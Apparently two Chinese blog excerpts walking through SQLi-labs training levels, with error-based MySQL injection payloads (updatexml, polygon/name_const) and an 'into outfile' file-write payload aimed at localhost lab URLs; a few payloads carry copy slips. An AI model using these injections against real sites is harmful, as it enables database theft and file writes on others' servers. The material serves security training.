漏洞测试平台——SQLi-labs

SQLi-labs是个专门用来学习SQL注入的开源漏洞测试平台,基于php+mysql开发,所以里面涉及的SQL注入都是mysql语法。 下载的地址是https://github.com/Audi-1/sqli-labs 下载安装按照readme里面要求即可,这里不多废话。下面是每个题目的具体分析: 1、error based string sqli 首先是源码: 我们可以看到当mysql语句正确执行的时候,应用会打印结果,但是没有正确执行的时候会打印错误,所以这里我们并不能像有回显位注入那样直接注入mysql语句。我们需要利用报错信息进行注入。 原理其实比较简单,一般都是利用某函数X    比如X(exp)  mysql函数在执行的时候会先执行函数里面的exp,获取返回值,然后再把exp的返回值作为参数给X进行执行,当exp的返回值不符合X的传参要求时,会导致query错误,打印出错误。 直接贴上一个老毛子整理的error based的cheat sheet:https://blackfan.ru/mysql_game/ 构造exp:‘|polygon((select*from(select name_const(version(),1))x))%23 2、error based integer sqli 原理同一,只不过是注入点的变量是integer exp:|polygon((select*from(select name_const(version(),1))x))%23 3、注入点变量外有单引号和括号,在exp中添加对应的符号即可: exp:’)|polygon((select*from(select name_const(version(),1))x))%23 4 、双引号加括号的error based 注入,变下exp即可: exp: “)|polygon((select*from(select name_const(version(),1))x))%23 5、string 单引号注入同第一题 exp: ‘ |polygon((select*from(select name_const(version(),1))x))%23 6、string 双引号注入 exp: “|polygon((select*from(select name_const(version(),1))x))%23 7、我们先看下源码: error_reporting(0); 这句话表示不再显示具体错误,只会显示“You have an error in your SQL syntax“,所以这里我们不能用前几题的error based注入,根据标题的提示“dump […]

SQLi-labs笔记

less-1 单引号报错注入,无回显位,利用一些函数,这里附上一个老毛子的链接:http://blackfan.ru/mysql_game/ payload:http://localhost/sqli-labs/Less-1/?id=1’+union+select+updatexml(0,concat(0x3c,version()),0)%23 less-2 整数型报错注入,无回显位,同上 payload:http://localhost/sqli-labs/Less-2/?id=1+union+select+updatexml(0,concat(0x3c,version()),0)%23 less-3 有单括号加单引号的报错注入,无回显位,利用同上 payload:http://localhost/sqli-labs/Less-3/?id=1′)+union+select+updatexml(0,concat(0x3c,version()),0)%23 less-4 有单括号加双引号的报错注入,无回显位,利用同上: payload:http://localhost/sqli-labs/Less-4/?id=1″)+union+select+updatexml(0,concat(0x3c,version()),0)%23 less-5 同less-1一样 payload:http://localhost/sqli-labs/Less-5/?id=1’+union+select+updatexml(0,concat(0x3c,version()),0)%23 less-6 同less-2一样 payload:http://localhost/sqli-labs/Less-6/?id=1’+union+select+updatexml(0,concat(0x3c,version()),0)%23   less-7 无回显,无报错信息,根据题目信息使用loadfile,但是由于本地权限限制,写不了文件,这里给出payload: payload:http://localhost/sqli-labs/Less-6/?id=1’+union+select+1,2,3+into+outfile+”/var/www/html/sqli-labs/test.txt”–+   less-8